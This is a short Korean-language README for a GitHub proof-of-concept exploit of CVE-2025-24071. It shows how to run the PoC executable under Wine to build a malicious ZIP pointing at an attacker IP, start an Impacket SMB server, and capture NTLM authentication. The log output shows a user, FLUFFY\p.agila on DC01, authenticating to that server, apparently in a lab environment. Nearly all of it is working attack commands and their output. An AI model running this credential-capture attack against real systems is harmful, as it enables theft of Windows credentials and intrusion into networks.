hyperchk/cve-2025-24071-pocCVE-2025-24071에 대한 개념 증명 익스플로잇으로, 악성 ZIP 파일을 활용하여 SMB 인증 릴레이를 트리거하고 Impacket을 통해 NTLM 해시를 캡처합니다.
sudo apt update sudo apt install wine
wine CVE-2025-24071-POC.exe -i 10.10.14.8 -n try ZIP 생성됨: try.zip
impacket-smbserver:
smbserver.py try /root/smbshare -smb2support -ip 10.10.14.8 -debug Impacket (Exegol fork) v0.13.0.dev0+20250723.125503.b5db2dd7 - Copyright Fortra, LLC and its affiliated companies
[+] Impacket Library Installation Path: /root/.local/share/pipx/venvs/impacket/lib/python3.11/site-packages/impacket [] Config file parsed [] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [] Config file parsed [] Config file parsed [] Config file parsed [] Incoming connection (10.129.232.88,51127) [] AUTHENTICATE_MESSAGE (FLUFFY\p.agila,DC01) [*] User DC01\p.agila authenticated successfully
